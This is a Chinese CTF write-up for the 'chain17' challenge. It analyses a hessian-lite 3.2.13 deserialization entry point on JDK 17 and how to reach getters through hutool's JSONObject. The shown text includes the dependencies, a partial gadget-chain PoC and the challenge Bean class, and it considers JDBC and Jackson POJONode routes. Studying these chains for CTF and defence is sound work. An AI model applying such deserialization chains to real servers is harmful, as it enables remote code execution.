chain17

依赖如下,给了一个入口的hessian2反序列化,题目自己给了一个Bean,其中的getter可以触发原生反序列化,不过存在很多黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

hessian反序列化

首先想到的是入口的hessian反序列化,本题的hessian-lite版本为3.2.13,在3.2.12可以通过HashMap到Xstring来触发toString,最后调用到getter从而造成rce,而3.2.13这个版本通过添加黑名单已经修复了这个漏洞。

并且这题的jdk版本是17,存在模块隔离,Xstring这个类实测在hessian反序列化中无法正常触发,但是在原生反序列化中可以触发,可以参考DubheCTF的Javolution,而这里的hessian版本较高,并没有能触发toString的方法(可以参考hessianOnlyJdk)

不难想到hessian反序列化Map类型的对象时会调用put方法去恢复里面的键值对,这里可以利用hutool依赖中的JSONObject来触发getter。

JSONObject在toString时不会触发键值的getter,而是会在set/put的时候触发,并且触发的只能是已有成员变量的getter/setter,因此可以写出以下的代码

1
2
3
4
5
6
7
8
9
10
11
12
        Bean bean = new Bean();
Student student = new Student("test", 18);
bean.setData("test".getBytes());
JSONObject jsonObject = new JSONObject();
HashMap<Object, Object> map = new HashMap<>();
map.put("1", bean);
map.put("2", student);
setFieldValue(jsonObject, "raw", map);

String ss = hSerialize(jsonObject);
// System.out.println(ss);
hDeserialize(ss);

bean#getObject

正常的Student类是可以触发getter的,但是我们题目中的bean却无法如预期般触发getObject,因为bean中只有data属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Bean implements Serializable {
byte[] data;

public Bean() {
}

public void setData(byte[] data) {
this.data = data;
}

public Object getObject() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.data);
BeanInputStream beanInputStream = new BeanInputStream(byteArrayInputStream);
Object object = beanInputStream.readObject();
return object;
}
...
}

我们的思路到这里变成了可以触发任意已有属性的getter,那么我们还有可能的利用方式吗

TemplateImpl

由于此处是jdk17,在服务端上没法反序列化TemplateImpl

getConnection

容易想到的是getConnection来打jdbc,依赖有h2和hutool,但这里只能触发有属性的getter,DataSource里面也不会有connection这个属性

我们可以想到Jackson链中的POJONode

Reference

https://blog.queenbridge.tech/li-yong-Github-Actions-sheng-cheng-CodeQL-shu-ju-ku----yi-AliyunCTF2024-Chain17-de-fan-xu-lie-hua-lian-wa-jue-wei-li

https://pankas.top/2024/03/28/%E9%98%BF%E9%87%8C%E4%BA%91ctf2024%E5%9D%90%E7%89%A2%E8%AE%B0%E5%BD%95/

https://xz.aliyun.com/t/14190